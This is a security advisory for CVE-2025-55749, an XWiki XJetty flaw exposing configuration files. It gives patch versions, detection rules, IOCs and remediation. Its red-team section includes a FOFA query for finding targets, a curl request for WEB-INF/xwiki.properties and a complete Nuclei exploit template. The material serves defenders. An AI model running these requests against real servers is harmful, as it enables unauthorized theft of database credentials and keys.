CVE-2025-55749

Executive Summary

CVE-2025-55749 is an information disclosure vulnerability affecting XWiki, an open-source wiki software platform, specifically when deployed using the XWiki Jetty package (XJetty). The vulnerability allows an unauthenticated attacker to statically access any file located in the webapp/ folder. This includes sensitive configuration files that may contain credentials, such as xwiki.properties and hibernate.cfg.xml. The vulnerability has a CVSS score of 7.5 (High) and is trivial to exploit, requiring no authentication or user interaction. The provided Nuclei template confirms the exploit path and detection method.

Supply Chain & Package Security

This vulnerability is specific to the XWiki platform and its Jetty packaging. It is not a supply chain attack on a package manager (NPM, PyPI, Go, Ruby). The risk is to organizations that deploy XWiki using the XJetty package. Users should verify their deployment method and apply the patch immediately.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) - No special conditions are required for exploitation.
• Privileges Required: None (PR:N) - No authentication is needed.
• User Interaction: None (UI:N) - The victim does not need to perform any action.
• Scope: Unchanged (S:U) - The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) - Sensitive files, including credentials, can be read.
• Integrity Impact: None (I:N) - No data modification is possible.
• Availability Impact: None (A:N) - The service remains operational.

Threat Level: High. The ease of exploitation and the potential for credential disclosure make this a critical vulnerability for any organization running an affected version of XWiki with XJetty.

Deep Dive & Mechanics

The vulnerability resides in the way the XWiki Jetty package (XJetty) serves static files. In affected versions, the web server's context is misconfigured, allowing direct access to files within the webapp/ directory. This directory contains the application's configuration files, such as WEB-INF/xwiki.properties, which may store database credentials, encryption keys, and other sensitive information.

The root cause is an improper access control check (CWE-284) in the static file serving mechanism. The server does not restrict access to files that should only be accessible internally. An attacker can simply request a file path like /webapps/xwiki/WEB-INF/xwiki.properties to retrieve its contents.

The provided Nuclei template demonstrates the exact HTTP request needed to exploit this vulnerability. The matcher checks for the presence of specific strings (diff.xml.dataURI and core.renderingcache.enabled) in the response, which are indicative of a valid xwiki.properties file.

Vulnerable vs. Patched Code

The vulnerability is not in the application code itself but in the configuration of the Jetty server. The fix involves updating the Jetty configuration to restrict access to the webapp/ directory.

Vulnerable Configuration (Conceptual): The Jetty server is configured to serve static files from the webapp/ directory without any access controls. This allows any file within that directory to be accessed via HTTP.

Patched Configuration (Conceptual): The Jetty server is configured to block direct access to the WEB-INF directory and other sensitive paths. This is typically done by adding security constraints or by changing the static resource base to a different, non-sensitive directory.

Specific Patch Details: The official fix was released in versions 16.10.11, 17.4.4, and 17.7.0. The patch modifies the Jetty configuration to prevent direct access to the webapp/ folder. Users should update to one of these patched versions.

Exploitation & Lab Setup

Red Team (Exploitation)

The exploitation is straightforward and requires no authentication. An attacker can use a simple HTTP GET request to retrieve sensitive files.

Step 1: Identify Target Use Shodan or FOFA to find XWiki instances. The FOFA query app="XWIKI-Platform" is effective.

Step 2: Exploit Send a GET request to the target's /webapps/xwiki/WEB-INF/xwiki.properties path.

Example using cURL:

curl -v http://target.com/webapps/xwiki/WEB-INF/xwiki.properties

Example using the Nuclei template:

nuclei -t CVE-2025-55749.yaml -u http://target.com

Expected Output: The response will contain the contents of the xwiki.properties file, which may include database credentials, encryption keys, and other sensitive configuration data.

No Exploit-DB code was provided.

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for requests to paths containing /webapps/, /WEB-INF/, or /META-INF/.
• Look for HTTP 200 responses to requests for files like xwiki.properties, hibernate.cfg.xml, or web.xml from unexpected IP addresses.
• Use the provided Nuclei template to proactively scan your own infrastructure.

Response:

1. Immediately isolate the affected server.
2. Rotate all credentials found in the exposed configuration files.
3. Apply the patch by updating XWiki to version 16.10.11, 17.4.4, or 17.7.0.
4. Conduct a forensic analysis to determine if any unauthorized access occurred.
5. Review access logs for any signs of data exfiltration.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to paths like /webapps/xwiki/WEB-INF/xwiki.properties
  • HTTP GET requests to paths like /webapps/xwiki/WEB-INF/hibernate.cfg.xml
  • HTTP GET requests to paths like /webapps/xwiki/WEB-INF/web.xml
  • Source IP addresses that are not part of the normal administrative traffic.
• File IOCs:
  • Unauthorized access to files within the webapp/ directory.
  • Presence of xwiki.properties or other configuration files in web server logs as being served.
• Behavioral IOCs:
  • Anomalous spikes in 200 OK responses for non-existent or sensitive paths.
  • Multiple requests to different configuration files from the same source IP.

Detection Engineering

YARA Rule

rule CVE_2025_55749_XWiki_InfoDisclosure {
    meta:
        description = "Detects attempts to exploit CVE-2025-55749 by looking for requests to sensitive XWiki configuration files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-55749"
        severity = "high"
    strings:
        $s1 = "/webapps/xwiki/WEB-INF/xwiki.properties" ascii wide nocase
        $s2 = "/webapps/xwiki/WEB-INF/hibernate.cfg.xml" ascii wide nocase
        $s3 = "/webapps/xwiki/WEB-INF/web.xml" ascii wide nocase
        $s4 = "xwiki.properties" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3) or ($s4 and filesize < 100KB)
}

Sigma Rule

title: XWiki Information Disclosure via Static File Access (CVE-2025-55749)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting sensitive XWiki configuration files, indicating an attempt to exploit CVE-2025-55749.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55749
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-53gx-j3p6-2rw9
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '/webapps/xwiki/WEB-INF/xwiki.properties'
            - '/webapps/xwiki/WEB-INF/hibernate.cfg.xml'
            - '/webapps/xwiki/WEB-INF/web.xml'
    condition: selection
falsepositives:
    - Legitimate administrative access (should be rare and from trusted IPs)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55749 XWiki Information Disclosure Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/webapps/xwiki/WEB-INF/"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2025-55749

info:
  name: XWiki - Information Disclosure
  author: DhiyaneshDk
  severity: high
  description: |
    XWiki 16.7.0 to 16.10.11, 17.4.4, and 17.7.0 using XJetty contains an information disclosure vulnerability caused by exposed context allowing static access to files in webapp/ folder, letting attackers access sensitive files, exploit requires use of XJetty package.
  impact: |
    Attackers can access sensitive files including credentials, leading to information disclosure.
  remediation: |
    Update to versions 16.10.11, 17.4.4, or 17.7.0 or later.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-53gx-j3p6-2rw9
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55749
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-55749
    epss-score: 0.01091
    epss-percentile: 0.7804
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="XWIKI-Platform"
  tags: cve,cve2025,xwiki,exposure,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/webapps/xwiki/WEB-INF/xwiki.properties"

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "diff.xml.dataURI"
          - "core.renderingcache.enabled"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402203c9ca7b1ad06492887677d23270a17b6c32a9da6514dc1f4b497f66cd6eb3672022079eca9c3d802c290940d8d0fae70cb9623a050823188b703f5d1ba1f4fa7cbba:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Patch: Update XWiki to version 16.10.11, 17.4.4, or 17.7.0 immediately.
2. Credential Rotation: Rotate all credentials that may have been exposed (database passwords, API keys, etc.).
3. Access Log Review: Analyze web server logs for any signs of exploitation.

Long-Term Mitigations:

• Network Segmentation: Place XWiki instances behind a firewall or WAF that can block requests to sensitive paths.
• Web Application Firewall (WAF): Deploy a WAF with rules to block requests containing /WEB-INF/ or /META-INF/.
• Least Privilege: Ensure that the XWiki application runs with the minimum necessary permissions.
• Regular Updates: Keep XWiki and all its dependencies up to date.
• Security Scanning: Regularly scan your infrastructure with tools like Nuclei to detect vulnerabilities.

Valters IT Signature

{/* [Security Hash: F95A03F9B376B8080B7554D9] */}